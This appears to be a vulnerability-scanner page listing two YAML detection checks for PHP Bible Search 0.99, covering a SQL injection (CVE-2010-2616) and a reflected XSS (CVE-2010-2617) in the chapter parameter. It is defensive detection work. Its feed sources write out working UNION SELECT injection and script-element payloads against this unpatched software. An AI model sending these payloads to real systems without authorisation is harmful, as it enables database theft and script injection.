PHP Bible Search — 2 vulnerability checks

noctis ships 2 vulnerability checks for PHP Bible Search, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHP Bible Search bible.php chapter SQL Injection

CVECVE-2010-2616
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/php-bible-search/CVE-2010-2616.yaml

Tests PHP Bible Search (bible.php, version 0.99) for the unauthenticated SQL injection in the chapter parameter, which reaches the verse query unescaped. Under /phpbiblesearch and in the web root, once bible.php is identified by its "PHP Bible Search ::" title, the feed sends chapter a two-column UNION SELECT whose values are the concatenation of a marker and the product of two random numbers, and looks for the product computed by the database in the printed verse list. That value cannot come from the request, so a match proves the database ran the injected SQL; the injected SQL reads no table and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/bible.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/bible.php?string=&book=1&chapter={{sc.union}}
  5. Parses / computes the next value with a Rhai script
  6. Checks hit for ^union$ → finding QoD 97: PHP Bible Search bible.php chapter SQL Injection (CVE-2010-2616)

References:

Feed source — tests/vulnerabilities/php-bible-search/CVE-2010-2616.yaml
# PHP Bible Search bible.php chapter SQL injection — CVE-2010-2616
#
# PHP Bible Search 0.99 (the only release, SourceForge project phpbiblesearch,
# no fix) puts the chapter (and book) request parameters into its verse
# queries without escaping — in the search query, and, when the search string
# is empty and a book is selected, in
#   SELECT verse, text FROM bible WHERE book='<book>' AND chapter='<chapter>'
# whose text column it prints for every row (or dies with the MySQL error).
#
# Detection (benign, read-only — the injected SQL reads no table): after checking that
# <dir>/bible.php is PHP Bible Search (title "PHP Bible Search ::"), GET
#   <dir>/bible.php?string=&book=1&chapter=-1' UNION SELECT M,M-- -
# with M = CONCAT(0x4e4f43544953,<a>*<b>,0x454e44) for two random 6-digit
# numbers. The page prints the text column, so "NOCTIS<a*b>END" in the reply
# proves the database ran the injected SQL (QoD 97). The product of a
# multiplication is never in the request, so a page echoing the query is not
# reported. The UNION works on an empty bible table and on every MySQL with
# UNION (4.0+; MySQL 3.23 has no UNION and is not covered). With magic_quotes_gpc on, the quote is escaped and the install
# is (correctly) not reported.
#
# Improvements over the source NASL:
#   - The NASL does not test the SQL injection at all: it only sends the
#     chapter cross-site scripting payload (CVE-2010-2617, its own feed) and
#     reports both CVEs from that. This feed proves the SQL injection itself
#     with a database-computed value.
#
# CVSS: CVE-2010-2616 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_php_bible_search_sql_n_xss_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801401, GPL-2.0-only).
uid: 02ac9d3b-61ab-4bb7-ba0f-9528dfb8be45
name: "PHP Bible Search bible.php chapter SQL Injection (CVE-2010-2616)"
description: |
  Tests PHP Bible Search (bible.php, version 0.99) for the unauthenticated SQL
  injection in the chapter parameter, which reaches the verse query unescaped.
  Under /phpbiblesearch and in the web root, once bible.php is identified by
  its "PHP Bible Search ::" title, the feed sends chapter a two-column UNION
  SELECT whose values are the concatenation of a marker and the product of two
  random numbers, and looks for the product computed by the database in the
  printed verse list. That value cannot come from the request, so a match
  proves the database ran the injected SQL; the injected SQL reads no table
  and nothing is written.
cves: [CVE-2010-2616]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [php-bible-search, php, sqli, sql-injection, mysql, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2616"
  - "https://sourceforge.net/projects/phpbiblesearch/"
  # OpenVAS/Greenbone NASL 2010/gb_php_bible_search_sql_n_xss_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected value and the encoded payload ───────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         union: "-1%27%20UNION%20SELECT%20" + c + "," + c + "--%20-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # ── Loop group: every following step runs once per install folder ────────
  - id: init-page-r
    action: set_var
    var_name: page_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/phpbiblesearch", ""]

  - id: init-is-pbs
    action: set_var
    var_name: is_pbs
    var_value: false

  - id: init-union-r
    action: set_var
    var_name: union_r
    var_value: {status: 0, body: ""}

  - id: page
    action: http_request
    method: GET
    path: "{{dir}}/bible.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: page_r

  - id: page-check
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(page_r.body) == "string" { page_r.body } else { "" };
      body.contains(">PHP Bible Search ::<")
    store_as: is_pbs

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/bible.php?string=&book=1&chapter={{sc.union}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && is_pbs == true'
    store_as: union_r

  - id: union-check
    action: script
    condition: 'hit == "" && is_pbs == true'
    code: |
      let body = if type_of(union_r.body) == "string" { union_r.body } else { "" };
      if body.contains(sc.want) { "union" } else { "" }
    store_as: hit

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit
    pattern: "^union$"
    on_match:
      finding:
        title: "PHP Bible Search bible.php chapter SQL Injection (CVE-2010-2616)"
        description: "An unauthenticated request to bible.php with the chapter parameter set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: chapter reaches the SQL query unescaped, so an attacker can read any data the database account can access (and, with the FILE privilege, read or write files on the database server)."
        remediation: "No fixed release of PHP Bible Search exists: remove it, or make bible.php cast book and chapter to integers (or escape them with mysql_real_escape_string) before building its queries."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{dir}}/bible.php?string=&book=1&chapter=-1' UNION SELECT CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),CONCAT(...)-- - returned the database-computed value {{sc.want}}"
      stop: true

PHP Bible Search bible.php chapter Reflected Cross-Site Scripting

CVECVE-2010-2617
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/php-bible-search/CVE-2010-2617.yaml

Tests PHP Bible Search (bible.php, version 0.99) for the reflected cross-site scripting in the chapter parameter, which the page prints next to the selected book name without escaping. Under /phpbiblesearch and in the web root, the feed sends chapter a script element that only carries a random marker, with book 0 ("None Selected", no query uses chapter then) and then book 2, and reports the install when a 200 reply with the PHP Bible Search title contains that exact script element unescaped. A control request putting the same payload in an unknown parameter must not reflect it, so a page that echoes any parameter is not reported. The script is harmless and only reaches the scanner.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{t.dir}}/bible.php?string=&book={{t.book}}&chapter={{sc.payload}}
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{t.dir}}/bible.php?string=&book={{t.book}}&chapter=1&{{sc.marker}}={{sc.payload}}
  5. Parses / computes the next value with a Rhai script
  6. Checks hit for ^reflected$ → finding QoD 75: PHP Bible Search bible.php chapter Reflected Cross-Site Scripting (CVE-2010-2617)

References:

Feed source — tests/vulnerabilities/php-bible-search/CVE-2010-2617.yaml
# PHP Bible Search bible.php chapter reflected cross-site scripting — CVE-2010-2617
#
# PHP Bible Search 0.99 (the only release, SourceForge project phpbiblesearch,
# no fix) prints "<book name> chapter <chapter>" under the form for the
# selected book with the chapter request parameter unescaped. Book 0 is the
# built-in "None Selected" entry, so book=0 reflects chapter even when the
# books table is empty, and with book=0 the page runs no query with chapter.
#
# Detection (benign — the injected script only names a random marker and is
# shown to nobody but the scanner): GET
#   <dir>/bible.php?string=&book=<0|2>&chapter=<script>alert(/<marker>/)</script>
# (percent-encoded, no quote, so magic_quotes_gpc cannot alter it) and look
# for a 200 reply carrying the "PHP Bible Search ::" title and that exact,
# unescaped script element (QoD 75). A control request puts the same payload
# in a random, unknown parameter: bible.php never prints that one, so a page
# that reflects it too is a generic reflector, not this flaw, and is not
# reported (fail-closed).
#
# Improvements over the source NASL:
#   - The NASL matches its fixed lower-case marker anywhere in the reply; the
#     feed requires the exact unescaped script element with a per-scan random
#     marker, so an escaped reflection or a page quoting the payload text is
#     not reported.
#   - The NASL only uses book=2, which needs at least two rows in the books
#     table; the feed first sends book=0 ("None Selected"), which works on an
#     empty table and runs no SQL with the payload.
#   - Product title required on the probe reply, plus the unknown-parameter
#     control against generic reflectors.
#   - The NASL reports CVE-2010-2616 (SQL injection) from this probe too; the
#     SQL injection is proven separately in CVE-2010-2616.yaml.
#
# CVSS: CVE-2010-2617 v2 4.3 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_php_bible_search_sql_n_xss_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801401, GPL-2.0-only).
uid: 087400ec-ce06-4d0f-ba48-d929ecb78d02
name: "PHP Bible Search bible.php chapter Reflected Cross-Site Scripting (CVE-2010-2617)"
description: |
  Tests PHP Bible Search (bible.php, version 0.99) for the reflected
  cross-site scripting in the chapter parameter, which the page prints next
  to the selected book name without escaping. Under /phpbiblesearch and in the
  web root, the feed sends chapter a script element that only carries a
  random marker, with book 0 ("None Selected", no query uses chapter then)
  and then book 2, and reports the install when a 200 reply with the PHP Bible
  Search title contains that exact script element unescaped. A control
  request putting the same payload in an unknown parameter must not reflect
  it, so a page that echoes any parameter is not reported. The script is
  harmless and only reaches the scanner.
cves: [CVE-2010-2617]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [php-bible-search, php, xss, reflected-xss, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2617"
  - "https://sourceforge.net/projects/phpbiblesearch/"
  # OpenVAS/Greenbone NASL 2010/gb_php_bible_search_sql_n_xss_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random marker and the exact script element to look for ───────────────
  - id: gen-marker
    action: script
    code: |
      let m = "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4);
      #{ marker: m,
         want: "<script>alert(/" + m + "/)</script>",
         payload: "%3Cscript%3Ealert(/" + m + "/)%3C/script%3E" }
    store_as: sc

  # ── Loop group: every following step runs once per (folder, book) ────────
  - id: init-probe-r
    action: set_var
    var_name: probe_r
    var_value: {status: 0, body: ""}
    loop:
      var: t
      over:
        - {dir: "/phpbiblesearch", book: "0"}
        - {dir: "/phpbiblesearch", book: "2"}
        - {dir: "", book: "0"}
        - {dir: "", book: "2"}

  # Reset per pass: a reflector (or a failed control) in one folder does not
  # stop the next folder from being tested.
  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # "" = control not sent yet, then "clean" / "dirty".
  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: probe
    action: http_request
    method: GET
    path: "{{t.dir}}/bible.php?string=&book={{t.book}}&chapter={{sc.payload}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: probe_r

  - id: probe-check
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(probe_r.body) == "string" { probe_r.body } else { "" };
      if probe_r.status == 200 && body.contains(">PHP Bible Search ::<") && body.contains(sc.want) { "reflected" } else { "" }
    store_as: hit

  # ── Control: the same payload in an unknown parameter ─────────────────────
  # bible.php only reads string, book and chapter, so a page that prints the
  # payload from another parameter echoes everything: not reported.
  # Fail-closed — no control reply, no finding.
  - id: control
    action: http_request
    method: GET
    path: "{{t.dir}}/bible.php?string=&book={{t.book}}&chapter=1&{{sc.marker}}={{sc.payload}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit != "" && ctrl_clean == ""'
    store_as: ctrl_r

  - id: control-check
    action: script
    condition: 'hit != "" && ctrl_clean == ""'
    code: |
      let body = if type_of(ctrl_r.body) == "string" { ctrl_r.body } else { "" };
      if ctrl_r.status != 0 && !body.contains(sc.want) { "clean" } else { "dirty" }
    store_as: ctrl_clean

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit
    pattern: "^reflected$"
    condition: 'ctrl_clean == "clean"'
    on_match:
      finding:
        title: "PHP Bible Search bible.php chapter Reflected Cross-Site Scripting (CVE-2010-2617)"
        description: "An unauthenticated request to bible.php with the chapter parameter set to a script element carrying a random marker returned that script element unescaped in the PHP Bible Search page. An attacker can send a victim a link that runs any script in the site's origin."
        remediation: "No fixed release of PHP Bible Search exists: remove it, or make bible.php cast chapter to an integer (or HTML-escape it with htmlspecialchars) before printing it."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{t.dir}}/bible.php?string=&book={{t.book}}&chapter=<script>alert(/{{sc.marker}}/)</script> was reflected unescaped: {{sc.want}}; the same payload in an unknown parameter was not"
      stop: true

View these feeds on GitHub